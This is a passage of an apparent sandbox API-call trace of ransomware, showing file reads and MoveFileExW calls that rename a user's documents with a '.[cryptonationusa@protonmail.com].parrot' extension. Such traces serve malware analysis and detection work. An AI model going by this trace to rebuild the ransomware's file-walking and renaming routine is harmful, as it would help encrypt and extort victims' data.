hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.133] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x182dc, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x182dc, lpOverlapped=0x0) returned 1 [0092.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.137] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.139] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\srff1.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\srff1.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\srff1.pptx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\srff1.pptx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.142] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.142] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.142] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.142] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.143] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.143] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xeb89, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xeb89, lpOverlapped=0x0) returned 1 [0092.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.147] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.148] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\8wixetkaoP4 N.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\8wixetkaop4 n.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\8wixetkaoP4 N.xls.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\8wixetkaop4 n.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.151] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.151] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.152] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.152] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5d5, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x5d5, lpOverlapped=0x0) returned 1 [0092.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.153] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.153] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\emsRODPpXK_iz9-84U.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\emsrodppxk_iz9-84u.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\emsRODPpXK_iz9-84U.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\emsrodppxk_iz9-84u.odp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.155] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.155] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.156] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.156] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa1eb, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xa1eb, lpOverlapped=0x0) returned 1 [0092.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.158] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.159] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\f2NR9gD.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\f2nr9gd.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\f2NR9gD.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\f2nr9gd.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.163] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.163] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.163] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.164] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8399, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x8399, lpOverlapped=0x0) returned 1 [0092.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.165] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.169] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\gF_1m_MSxwX.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\gf_1m_msxwx.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\gF_1m_MSxwX.csv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\gf_1m_msxwx.csv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.173] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.173] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.173] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.174] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6c43, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x6c43, lpOverlapped=0x0) returned 1 [0092.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.175] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.175] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.175] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.178] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\mUs5mal1.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\mus5mal1.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\mUs5mal1.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\mus5mal1.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.181] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.181] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.181] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.182] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x14ca6, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x14ca6, lpOverlapped=0x0) returned 1 [0092.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.185] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.186] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\mvLRFCKjGUSY.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\mvlrfckjgusy.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\mvLRFCKjGUSY.xls.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\mvlrfckjgusy.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.188] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.189] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.189] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.189] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcbc3, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xcbc3, lpOverlapped=0x0) returned 1 [0092.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.193] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.194] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\Rww-UQyG.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\rww-uqyg.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\Rww-UQyG.pptx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\rww-uqyg.pptx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.198] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.198] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.198] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.199] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1578d, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x1578d, lpOverlapped=0x0) returned 1 [0092.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.202] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.204] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\WLrH.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\wlrh.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\WLrH.xls.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\wlrh.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.207] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.207] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.207] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.208] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe89b, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xe89b, lpOverlapped=0x0) returned 1 [0092.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.211] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.212] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\xSNNsy0kINQcp.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\xsnnsy0kinqcp.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\xSNNsy0kINQcp.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\xsnnsy0kinqcp.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.216] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0092.216] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.217] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.217] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.218] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.218] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x160b8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x160b8, lpOverlapped=0x0) returned 1 [0092.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.222] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.224] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\01vMfRDUuDKPbWT2.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\01vmfrduudkpbwt2.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\01vMfRDUuDKPbWT2.xls.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\01vmfrduudkpbwt2.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.227] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.227] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.228] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.228] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa61a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xa61a, lpOverlapped=0x0) returned 1 [0092.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.231] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.232] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\DikDj2.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\dikdj2.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\DikDj2.csv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\dikdj2.csv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.235] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.235] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.236] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.236] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17b35, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x17b35, lpOverlapped=0x0) returned 1 [0092.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.240] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.243] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\EZ32OCFHdUPuSezdV-.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\ez32ocfhdupusezdv-.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\EZ32OCFHdUPuSezdV-.csv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\ez32ocfhdupusezdv-.csv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.245] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.246] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.246] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.246] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1285f, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1285f, lpOverlapped=0x0) returned 1 [0092.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.251] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.251] 